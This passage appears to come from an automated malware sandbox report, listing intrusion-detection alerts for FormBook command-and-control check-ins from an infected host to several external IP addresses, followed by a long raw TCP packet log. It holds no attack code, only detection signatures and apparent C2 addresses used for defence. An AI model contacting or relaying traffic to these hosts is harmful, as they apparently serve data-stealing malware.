2024-09-11T11:20:32.268339+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63368	206.119.82.134	80	TCP
2024-09-11T11:20:38.047407+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63369	65.21.196.90	80	TCP
2024-09-11T11:20:40.715590+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63370	65.21.196.90	80	TCP
2024-09-11T11:20:43.199036+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63371	65.21.196.90	80	TCP
2024-09-11T11:20:45.747099+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63372	65.21.196.90	80	TCP
2024-09-11T11:20:45.747099+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63372	65.21.196.90	80	TCP
2024-09-11T11:20:53.091857+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63373	38.181.141.122	80	TCP
2024-09-11T11:20:55.058547+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63374	38.181.141.122	80	TCP
2024-09-11T11:20:57.935818+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.4	63375	38.181.141.122	80	TCP
2024-09-11T11:21:00.793822+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63376	38.181.141.122	80	TCP
2024-09-11T11:21:00.793822+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63376	38.181.141.122	80	TCP
2024-09-11T11:21:10.103459+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.4	63377	81.88.63.46	80	TCP
2024-09-11T11:21:10.103459+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.4	63377	81.88.63.46	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 11, 2024 11:17:24.456057072 CEST	49736	80	192.168.2.4	81.88.63.46
Sep 11, 2024 11:17:24.467027903 CEST	80	49736	81.88.63.46	192.168.2.4
Sep 11, 2024 11:17:24.467154980 CEST	49736	80	192.168.2.4	81.88.63.46
Sep 11, 2024 11:17:24.474478006 CEST	49736	80	192.168.2.4	81.88.63.46
Sep 11, 2024 11:17:24.479285955 CEST	80	49736	81.88.63.46	192.168.2.4
Sep 11, 2024 11:17:25.129198074 CEST	80	49736	81.88.63.46	192.168.2.4
Sep 11, 2024 11:17:25.129210949 CEST	80	49736	81.88.63.46	192.168.2.4
Sep 11, 2024 11:17:25.129348993 CEST	49736	80	192.168.2.4	81.88.63.46
Sep 11, 2024 11:17:25.132328987 CEST	49736	80	192.168.2.4	81.88.63.46
Sep 11, 2024 11:17:25.137223959 CEST	80	49736	81.88.63.46	192.168.2.4
Sep 11, 2024 11:17:40.206856966 CEST	63317	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:40.211844921 CEST	80	63317	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:40.211930037 CEST	63317	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:40.222723007 CEST	63317	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:40.227763891 CEST	80	63317	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:40.860830069 CEST	80	63317	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:40.860852957 CEST	80	63317	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:40.860929012 CEST	63317	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:40.860934973 CEST	80	63317	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:40.861013889 CEST	63317	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:41.731251001 CEST	63317	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:42.755686998 CEST	63318	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:43.421040058 CEST	80	63318	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:43.421181917 CEST	63318	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:43.430991888 CEST	63318	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:43.436101913 CEST	80	63318	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:44.027640104 CEST	80	63318	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:44.027697086 CEST	80	63318	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:44.027832985 CEST	63318	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:44.934312105 CEST	63318	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:45.957532883 CEST	63319	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:45.962534904 CEST	80	63319	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:45.962699890 CEST	63319	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:45.975841045 CEST	63319	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:45.980866909 CEST	80	63319	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:45.980942965 CEST	80	63319	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:45.980972052 CEST	80	63319	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:45.980999947 CEST	80	63319	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:45.981026888 CEST	80	63319	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:45.981079102 CEST	80	63319	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:45.981106043 CEST	80	63319	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:45.981159925 CEST	80	63319	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:45.981188059 CEST	80	63319	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:46.566657066 CEST	80	63319	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:46.566706896 CEST	80	63319	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:46.566840887 CEST	63319	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:47.481226921 CEST	63319	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:48.501033068 CEST	63320	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:48.509215117 CEST	80	63320	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:48.509366989 CEST	63320	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:48.519026041 CEST	63320	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:48.524990082 CEST	80	63320	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:49.105931997 CEST	80	63320	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:49.105952024 CEST	80	63320	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:49.105966091 CEST	80	63320	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:49.106205940 CEST	63320	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:49.110240936 CEST	63320	80	192.168.2.4	217.70.184.50
Sep 11, 2024 11:17:49.115226984 CEST	80	63320	217.70.184.50	192.168.2.4
Sep 11, 2024 11:17:54.654225111 CEST	63321	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:17:54.659187078 CEST	80	63321	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:54.659290075 CEST	63321	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:17:54.669792891 CEST	63321	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:17:54.675076008 CEST	80	63321	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:55.140651941 CEST	80	63321	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:55.140686035 CEST	80	63321	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:55.140961885 CEST	63321	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:17:56.184351921 CEST	63321	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:17:57.208417892 CEST	63322	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:17:57.213310003 CEST	80	63322	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:57.213392019 CEST	63322	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:17:57.228420019 CEST	63322	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:17:57.234143972 CEST	80	63322	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:57.660542965 CEST	80	63322	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:57.660615921 CEST	80	63322	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:57.660794973 CEST	63322	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:17:58.731468916 CEST	63322	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:17:59.749600887 CEST	63323	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:17:59.758765936 CEST	80	63323	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:59.758852959 CEST	63323	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:17:59.768162012 CEST	63323	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:17:59.777004957 CEST	80	63323	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:59.777066946 CEST	80	63323	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:59.777096033 CEST	80	63323	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:59.777141094 CEST	80	63323	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:59.777172089 CEST	80	63323	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:59.781611919 CEST	80	63323	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:59.781640053 CEST	80	63323	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:59.781699896 CEST	80	63323	172.96.187.60	192.168.2.4
Sep 11, 2024 11:17:59.781728029 CEST	80	63323	172.96.187.60	192.168.2.4
Sep 11, 2024 11:18:00.220200062 CEST	80	63323	172.96.187.60	192.168.2.4
Sep 11, 2024 11:18:00.220246077 CEST	80	63323	172.96.187.60	192.168.2.4
Sep 11, 2024 11:18:00.220299006 CEST	63323	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:18:01.278832912 CEST	63323	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:18:02.296561003 CEST	63324	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:18:02.301757097 CEST	80	63324	172.96.187.60	192.168.2.4
Sep 11, 2024 11:18:02.301877022 CEST	63324	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:18:02.308949947 CEST	63324	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:18:02.314166069 CEST	80	63324	172.96.187.60	192.168.2.4
Sep 11, 2024 11:18:02.762028933 CEST	80	63324	172.96.187.60	192.168.2.4
Sep 11, 2024 11:18:02.763535976 CEST	80	63324	172.96.187.60	192.168.2.4
Sep 11, 2024 11:18:02.763624907 CEST	63324	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:18:02.764791965 CEST	63324	80	192.168.2.4	172.96.187.60
Sep 11, 2024 11:18:02.769670963 CEST	80	63324	172.96.187.60	192.168.2.4
Sep 11, 2024 11:18:07.798162937 CEST	63325	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:07.803044081 CEST	80	63325	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:07.803194046 CEST	63325	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:07.814496994 CEST	63325	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:07.819418907 CEST	80	63325	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:08.258095980 CEST	80	63325	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:08.258289099 CEST	63325	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:09.325052977 CEST	63325	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:09.330508947 CEST	80	63325	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:10.343126059 CEST	63326	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:10.349684000 CEST	80	63326	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:10.349802017 CEST	63326	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:10.359231949 CEST	63326	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:10.365390062 CEST	80	63326	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:11.092897892 CEST	80	63326	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:11.092972994 CEST	63326	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:11.093970060 CEST	80	63326	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:11.094031096 CEST	63326	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:11.872617960 CEST	63326	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:12.036500931 CEST	80	63326	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:12.890500069 CEST	63327	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:12.895430088 CEST	80	63327	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:12.895559072 CEST	63327	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:12.906126022 CEST	63327	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:12.911036968 CEST	80	63327	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:12.911061049 CEST	80	63327	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:12.911071062 CEST	80	63327	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:12.911122084 CEST	80	63327	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:12.911132097 CEST	80	63327	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:12.911237955 CEST	80	63327	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:12.911267042 CEST	80	63327	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:12.911324978 CEST	80	63327	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:12.911334991 CEST	80	63327	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:13.362245083 CEST	80	63327	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:13.362343073 CEST	63327	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:14.418711901 CEST	63327	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:14.423676968 CEST	80	63327	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:15.440284014 CEST	63328	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:15.445321083 CEST	80	63328	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:15.445422888 CEST	63328	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:15.461708069 CEST	63328	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:15.468009949 CEST	80	63328	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:15.905046940 CEST	80	63328	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:15.905201912 CEST	80	63328	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:15.905253887 CEST	63328	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:15.908864021 CEST	63328	80	192.168.2.4	3.33.130.190
Sep 11, 2024 11:18:15.913628101 CEST	80	63328	3.33.130.190	192.168.2.4
Sep 11, 2024 11:18:21.098649025 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:21.103533030 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:21.103676081 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:21.117927074 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:21.123251915 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.311043978 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.311181068 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.311203957 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.311219931 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.311234951 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.311249018 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.311264038 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.311279058 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.311294079 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.311309099 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.311325073 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.311407089 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:22.311407089 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:22.311407089 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:22.311614990 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.311729908 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:22.317779064 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.317794085 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.317809105 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.317823887 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.317841053 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.317854881 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.317859888 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:22.317872047 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.317888975 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.317919016 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:22.318089008 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:22.318609953 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.318684101 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.318700075 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.318828106 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.318845034 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.318860054 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:22.319152117 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.319168091 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.319183111 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.319195986 CEST	80	63329	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:22.319219112 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:22.321676016 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:22.624394894 CEST	63329	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:23.641534090 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:23.647141933 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:23.650656939 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:23.663914919 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:23.672373056 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.239707947 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.239788055 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.239837885 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.239885092 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.239922047 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:24.239928007 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.239962101 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.239969969 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:24.239984035 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.240005016 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.240026951 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.240034103 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:24.240137100 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:24.240151882 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.241981030 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:24.246325016 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.246347904 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.246362925 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.246423006 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:24.247021914 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.247103930 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:24.327253103 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.327265978 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.327275991 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.327286959 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.327505112 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:24.332431078 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.332443953 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.332456112 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.332472086 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.332483053 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:24.332775116 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:24.337217093 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.337229013 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.337239027 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.337249994 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.337260008 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.337275028 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:24.337379932 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:24.342062950 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.342075109 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.342083931 CEST	80	63330	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:24.342200994 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:25.168761969 CEST	63330	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.187666893 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.193666935 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.194283009 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.204415083 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.210875034 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.210890055 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.210902929 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.210916996 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.210932016 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.211457968 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.211472034 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.211487055 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.211499929 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.797095060 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.797116041 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.797132969 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.797148943 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.797159910 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.797164917 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.797189951 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.797220945 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.797333956 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.798088074 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.798104048 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.798120022 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.798144102 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.798264027 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.798302889 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.802201986 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.802217960 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.802233934 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.802262068 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.802567005 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.802608013 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.885519981 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.885536909 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.885591984 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.885664940 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.885679007 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.885694981 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.885723114 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.885827065 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.885842085 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.885867119 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.886379957 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.886394024 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.886418104 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.886543036 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.886589050 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.886642933 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.887195110 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.887209892 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.887224913 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.887238979 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.887239933 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.887286901 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.887777090 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.887824059 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:26.887914896 CEST	80	63331	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:26.887958050 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:27.715734959 CEST	63331	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:28.734641075 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:28.739615917 CEST	80	63332	67.223.117.189	192.168.2.4
Sep 11, 2024 11:18:28.739701033 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:28.747967958 CEST	63332	80	192.168.2.4	67.223.117.189
Sep 11, 2024 11:18:28.753993034 CEST	80	63332	67.223.117.189	192.168.2.4
